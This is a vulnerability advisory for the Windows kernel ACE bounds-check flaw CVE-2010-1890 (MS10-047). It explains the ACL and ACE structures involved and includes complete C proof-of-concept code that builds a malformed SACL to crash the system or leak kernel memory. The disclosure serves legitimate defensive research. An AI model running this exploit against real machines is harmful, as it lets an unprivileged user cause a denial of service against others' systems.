Microsoft Windows Missed ACE Bounds Checks (MS10-047)

Credit: Tavis Ormandy
Risk: Low
Local: Yes
Remote: No

CVSS Base Score: 4.6/10
Impact Subscore: 6.9/10
Exploitability Subscore: 3.1/10
Exploit range: Local
Attack complexity: Low
Authentication: Single time
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

Microsoft Windows nt!SeObjectCreateSaclAccessBits() missed ACE bounds checks ---------------------------------------------------------------------------- CVE-2010-1890 An ACE is an Access Control Entry, of which many may be attached to an ACL (Access Control List). On Windows, an ACL can be of type SACL or DACL (Discretionary vs System). The routine nt!SeObjectCreateSaclAccessBits omits proper bounds checking, allowing an attacker who specifies a pathological ACE size and count to disrupt the operation of the system. An ACL structure looks like this kd> dt nt!_ACL +0x000 AclRevision : UChar +0x001 Sbz1 : UChar +0x002 AclSize : Uint2B +0x004 AceCount : Uint2B +0x006 Sbz2 : Uint2B And will have the specfied number of entries attached to it. An ACE has a header, typedef struct _ACE_HEADER { BYTE AceType; BYTE AceFlags; WORD AceSize; } ACE_HEADER, *PACE_HEADER; Followed by some type specific data, such as SID and so on. By specifying pathological ACE configuration, we can cause a fatal system error. -------------------- Affected Software ------------------------ At least Microsoft Windows 7 is affected. -------------------- Consequences ----------------------- This issue may be of interest to security professionals but end users are unlikely to be affected by this issue. An unprivileged user may be able to cause a bugcheck, or possibly leak kernel memory. Example code to trigger this vulnerability is available below. #ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS // I prefer working with ntstatus.h #endif #include <windows.h> #include <assert.h> #include <stdio.h> #include <winerror.h> #include <winternl.h> #include <stddef.h> #include <winnt.h> #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #include <ntstatus.h> #pragma comment(lib, "advapi32") PVOID AllocBuffer(ULONG Size); // macro below copied from ntdef.h #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } #define OBJ_FORCE_ACCESS_CHECK 0x00000400L int main(int argc, char **argv) { OBJECT_ATTRIBUTES ObjectAttributes; SECURITY_DESCRIPTOR SecurityDescriptor; UNICODE_STRING ObjectName; FARPROC NtQueryOpenSubKeys; ULONG HandleCount; PACL Sacl; ACE_HEADER Ace; NtQueryOpenSubKeys = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQueryOpenSubKeys"); InitializeObjectAttributes(&ObjectAttributes, &ObjectName, OBJ_FORCE_ACCESS_CHECK, NULL, &SecurityDescriptor); fprintf(stderr, "NtQueryOpenSubKeys@%p\n", NtQueryOpenSubKeys); ZeroMemory(&ObjectName, sizeof(ObjectName)); Sacl = AllocBuffer(0x800); Ace.AceType = SYSTEM_MANDATORY_LABEL_ACE_TYPE; Ace.AceFlags = INHERIT_ONLY_ACE; InitializeSecurityDescriptor(&SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorSacl(&SecurityDescriptor, TRUE, Sacl, FALSE); InitializeAcl(Sacl, 0x800, ACL_REVISION); // Begin malformed Sacl->AceCount = 0x1000; Ace.AceSize = 0x1000; // Append ACE Header (body not necessary to demonstrate bug) // &Sacl[1] is the first byte after the ACL, where the first ACE begins. CopyMemory(&Sacl[1], &Ace, sizeof(Ace)); while (TRUE) { NtQueryOpenSubKeys(&ObjectAttributes, &HandleCount); Sleep(0x1); } return 0; } #ifndef PAGE_SIZE # define PAGE_SIZE 0x1000 #endif // Quick routine to make a guarded buffer, no error checking etc. whatever. PVOID AllocBuffer(ULONG Size) { ULONG GuardBufSize; PBYTE GuardBuf; ULONG ProtBits; // Round size up to the next PAGE_SIZE GuardBufSize = (Size + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1); // Add one page to be a guardbuf GuardBufSize = GuardBufSize + PAGE_SIZE; // Allocate a buffer with a GuardPage GuardBuf = VirtualAlloc(NULL, GuardBufSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Make the last page NOACCESS VirtualProtect(GuardBuf + GuardBufSize - PAGE_SIZE, PAGE_SIZE, PAGE_NOACCESS, &ProtBits); // Calculate where buffer should be, so that Buffer[Size] AVs. return GuardBuf + GuardBufSize - PAGE_SIZE - Size; } ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. ------------------- Greetz ----------------------- $1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/ $1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1. $1$IPYBMipO$/HhHCPgulV/E0pgSvU1710 $1$ULymMO9x$NVMLjZe8i25ajEfnsRowA. $1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi. And all the other elite people I've worked with (sorry, too many to generate!). ------------------- Notes ----------------------- Approximate time to fix was 150 days. ------------------- References ----------------------- - ACE_HEADER - ACL - OBJ_FORCE_ACCESS_CHECK


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